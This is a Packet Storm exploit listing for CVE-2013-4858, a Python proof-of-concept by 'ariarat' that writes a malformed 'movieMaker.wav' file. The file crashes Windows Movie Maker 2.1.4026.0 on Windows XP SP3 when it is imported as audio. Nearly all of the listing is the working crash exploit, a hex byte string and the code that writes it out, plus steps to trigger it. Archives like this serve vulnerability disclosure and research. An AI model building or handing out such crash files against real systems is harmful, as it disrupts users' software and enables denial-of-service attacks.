Windows Movie Maker 2.1.4026.0 Denial Of Service

2013-07-19T00:00:00
ID PACKETSTORM:122473
Type packetstorm
Reporter ariarat
Modified 2013-07-19T00:00:00

Description

                                        
                                            `# Exploit Title: Windows Movie Maker Version 2.1.4026.0 (.wav) - Crash POC  
# Date: 16-07-2013  
# Exploit Author: ariarat  
# Vendor Homepage: http://www.microsoft.com  
# Software Link: included in windows xp sp2 and sp3  
# Version: 2.1.4026.0  
# Tested on: [ Windows XP sp3]  
# CVE : 2013-4858  
#============================================================================================  
# Open Windows movie maker in left panel click on "Import audio or music" and choose movieMaker.wav  
#   
#============================================================================================  
# Contact :  
#------------------  
# Web Page : http://ariarat.blogspot.com  
# Email : mehdi.esmaeelpour@gmail.com  
#============================================================================================  
  
#!/usr/bin/python  
  
string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"  
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"  
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"  
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")  
  
filename = "movieMaker.wav"  
file = open(filename , "w")  
file.write(string)  
file.close()  
  
`